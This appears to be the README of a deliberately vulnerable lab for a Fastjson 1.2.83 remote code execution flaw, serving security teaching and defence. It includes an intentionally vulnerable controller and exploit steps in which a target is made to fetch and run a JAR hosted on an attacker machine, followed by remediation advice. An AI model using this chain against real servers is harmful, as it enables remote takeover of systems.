Fastjson 1.2.83 RCE Lab Environment (CVE-2026-16723)

Disclaimer: This lab is intended solely for security research, teaching demonstrations, and defense construction in authorized environments. Testing unauthorized targets without permission may be illegal; users bear all responsibility for the consequences.

Vulnerability Overview

Lab Environment Description

• Fastjson 1.2.83

  • SafeMode disabled (default state)

• Spring Boot fat-JAR packaging (includes LaunchedURLClassLoader, a necessary component of the exploit chain)

• Fixed key line: ParseController switches the thread ClassLoader to LaunchedURLClassLoader before calling JSON.parse() (Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())), which is a necessary prerequisite for the @JSONType probe path to remotely load classes

• Provides two parsing endpoints: /parse (JSON.parse) and /parseObject (JSON.parseObject)

Environment Requirements

• JDK 8 (JDK 8 is required for full RCE; JDK 9+ can only achieve SSRF, not full RCE)
• Operating system: Windows / Linux / UOS / macOS all supported
• Memory: minimum 256MB free

Build

Build the fat-JAR from source (requires JDK 8 + Maven):

git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests

The build artifact is at target/fastjson-rce-lab.jar.

If Maven is not available, you can also use the Maven Wrapper bundled with the project (requires configuring mvnw in advance).

Quick Start

Windows

# 双击 start.bat
# 或命令行
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080

Linux

chmod +x start.sh
./start.sh

# 或手动启动
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080

About --server.port=18080: environment variables such as SERVER__PORT may be present and override the port configuration in application.properties; forcing the port via the command-line argument ensures it is correct (command-line arguments have the highest priority).

About the JVM parameters: -Xmx256m -XX:+UseSerialGC are used to run normally on low-memory virtual machines (e.g., Kali with 2-4G), avoiding OOM during JVM initialization. They can be removed if the machine has sufficient memory.

Startup Verification

curl http://127.0.0.1:18080/status

Expected response:

{
  "fastjsonVersion": "1.2.83",
  "safeMode": false,
  "autoTypeSupport": false,
  "vulnerable": true,
  "javaVersion": "1.8.0_xxx"
}

safeMode: false and vulnerable: true indicate the vulnerable state.

Endpoints

Vulnerability Principle

1. 攻击者发送特制 JSON（@type 指向 jar:http 资源路径）
2. Fastjson checkAutoType() 将 typeName 转为资源路径 "typeName.replace('.', '/') + .class" 做探测
3. getResourceAsStream() 触发 LaunchedURLClassLoader → 发起 HTTP 请求拉取远程 JAR
4. ASM 扫描字节码，发现 @JSONType 注解 → 视为信任信号
5. 跳过危险基类检查 → loadClass() → defineClass()
6. 触发 <clinit> 静态初始化块 → RCE

Key Code in the Lab

// ParseController.java — /parse 端点
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
    // ⚠️ 这一行是关键：切换到 LaunchedURLClassLoader
    Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
    Object obj = JSON.parse(body);
    // ...
}

Without this setContextClassLoader line, Fastjson uses the system default AppClassLoader and cannot load remote classes via the jar:http:// protocol.

Exploit Reproduction

Step 1: Obtain the PoC Tool

git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce

Step 2: Modify GenProbe.java (Critical)

The poc/GenProbe.java bundled with the repository has two compatibility issues already fixed:

1. Hardcoded /bin/bash -c → changed to a generic Runtime.exec(String) version (works on both Windows and Linux)
2. Cross-platform command format: use "cmd /c xxx" for Windows targets, and directly use "touch /tmp/pwned" or "bash -c xxx" for Linux targets

Step 3: Generate probe.jar and Host It

The complete attack procedure is in 靶场测试完整指南.md (in the same directory), including:

• The complete seven-step attack workflow
• Quick-reference command table for each platform
• 6 common errors and troubleshooting methods

Quick Verification (Windows Target Example)

# 在攻击机（或能编译 Java 的机器）上
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"

# 将 poc/www/probe 拷到 Kali
# Kali 上启动 HTTP 托管
cd poc/www && python3 -m http.server 19090

# 重启靶场 → Kali 新终端打 exp
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe

Fix Solutions

Emergency Fix: Enable SafeMode

# JVM 启动参数
-Dfastjson.parser.safeMode=true

// 代码配置
ParserConfig.getGlobalInstance().setSafeMode(true);

Long-term Fix: Migrate to Fastjson 2.x

<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.x</version>
</dependency>

Fastjson2 is not affected by this vulnerability.

Other Measures

• Use the com.alibaba:fastjson:1.2.83_noneautotype build version
• Block outbound HTTP traffic from application servers
• Audit all Fastjson 1.x dependency instances

Technical References

• Disclosed by Kirill Firsov (@k_firsov): https://x.com/k_firsov/status/2078872293745570032
• PoC project: https://github.com/0x7eTeam/fastjson-1.2.83-rce
• Alibaba security advisory (2026-07-21)
• Tencent Cloud security advisory (2026-07-20)